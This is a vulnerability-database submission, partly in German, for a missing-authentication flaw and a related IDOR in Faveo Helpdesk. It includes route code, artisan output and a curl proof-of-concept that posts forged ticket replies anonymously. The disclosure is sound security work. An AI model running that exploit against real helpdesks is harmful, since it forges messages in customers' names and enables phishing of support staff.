| Titel | faveosuite faveo-helpdesk commit 6568aa4 Missing Authentication |
|---|
| Beschreibung | Affected Versions: confirmed on commit 6568aa45f89b78028b05cddfb2d37c171d2fbab1
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE: CWE-306 Missing Authentication for Critical Function (paired with CWE-639 IDOR)
### Summary
The `POST /post-ticket-reply/{id}` route in `routes/web.php` is registered OUTSIDE the `auth` middleware group while every other ticket reply route is inside it. An unauthenticated network attacker can submit a body whose subject ends with `[#<ticket_number>]` and the handler appends a new ticket thread row to that ticket attributed to the legitimate owner's user id. The same file also contains an IDOR (Medium): `POST /rating/{id}` and `POST /rating2/{id}` are inside `auth` but have no agent-role or owner check, so any authenticated customer can poison ratings on any ticket.
### Details
Route registration (`routes/web.php`):
Lines 540 to 551 declare a `Route::middleware(['web','auth'])` group containing all agent ticket actions. The group closes at line 551 with `});`. Line 558 then registers `post-ticket-reply/{id}` OUTSIDE that group:
```php
// line 540 area, inside auth group:
Route::post('rating/{id}', [Agent\helpdesk\TicketController::class, 'rating'])->name('ticket.rating');
Route::post('rating2/{id}', [Agent\helpdesk\TicketController::class, 'ratingReply'])->name('ticket.rating2');
});
//====================================================================================
// line 558 OUTSIDE the auth group:
Route::post('post-ticket-reply/{id}', [Client\helpdesk\FormController::class, 'post_ticket_reply']);
```
The handler `Client\helpdesk\FormController::post_ticket_reply` (`app/Http/Controllers/Client/helpdesk/FormController.php:271-311`) does NOT call `auth()->check()` or compare to the ticket owner. It looks up the ticket, sets `$fromaddress = $user_cred->email` from the ORIGINAL OWNER, and pipes the body through `Agent\helpdesk\TicketController::check_ticket` (`app/Http/Controllers/Agent/helpdesk/TicketController.php:917-968`).
When `check_ticket` sees a subject ending with `[#<ticket_number>]`, it appends a `Ticket_Thread` row with `user_id = original_owner_user_id`. Result: any attacker can write thread comments to any ticket, attributed to the legitimate owner.
The adjacent rating routes (line 549 to 550) inside the auth group have middleware `[web, Authenticate]` only. The handler accepts `ticket_id == $id` from the URL with no `user_id == Auth::user()->id` check, so any authenticated customer can rate any ticket.
### PoC
Tested live on 2026-05-26. Stood up MariaDB + PHP-CLI containers, installed faveo's composer deps, ran migrations, then queried Laravel's compiled route table:
```
$ php artisan route:list --json
... (filtered to relevant routes) ...
POST post-ticket-reply/{id}
middleware: ["web","App\\Http\\Middleware\\CheckBoard"]
POST post/reply/{id} # sibling client-reply route
middleware: ["web","App\\Http\\Middleware\\Authenticate","App\\Http\\Middleware\\CheckBoard"]
POST rating/{id}
middleware: ["web","App\\Http\\Middleware\\Authenticate"]
POST rating2/{id}
middleware: ["web","App\\Http\\Middleware\\Authenticate"]
```
The Laravel-compiled route table is the authoritative source. `post-ticket-reply/{id}` is the only ticket-reply route without `Authenticate` middleware. `post/reply/{id}` (the regular client reply route) does have `Authenticate`, confirming the asymmetry is unintentional.
Exploit sequence in deployment:
```
# Attacker enumerates a ticket number (or guesses, since they are sequential)
TICKET_NUMBER=1042
# Anonymous attacker posts a thread reply attributed to the ticket owner
curl -X POST https://target.example.com/post-ticket-reply/$TICKET_NUMBER \
-d "subject=Anything [#${TICKET_NUMBER}]" \
-d "body=<attacker controlled HTML/text>"
```
The new thread row appears in the ticket history with the legitimate owner's name and user id attached.
### Impact
Integrity-only finding (no read of victim's existing tickets). Two impacts:
1. Defamation / fraud: attacker writes malicious or libelous content attributed to a customer, visible to agents and staff. The customer cannot prove the content came from someone else without log analysis.
2. Phishing / social engineering: attacker injects links or instructions into a victim's ticket thread, the agent sees what looks like a legitimate follow-up from the customer, and acts on it (resets a password, releases data, opens a session).
The Medium adjacent finding `POST /rating/{id}` allows any authenticated customer to poison ratings across the entire helpdesk, distorting agent performance metrics and potentially affecting compensation or staffing decisions. |
|---|
| Quelle | ⚠️ https://github.com/faveosuite/faveo-helpdesk/issues/8346 |
|---|
| Benutzer | geochen (UID 78995) |
|---|
| Einreichung | 11.07.2026 12:48 (vor 1 Monat) |
|---|
| Moderieren | 24.08.2026 17:45 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 394712 [Faveo Helpdesk bis 2.0.3 post-ticket-reply Endpoint FormController.php post_ticket_reply schwache Authentisierung] |
|---|
| Punkte | 20 |
|---|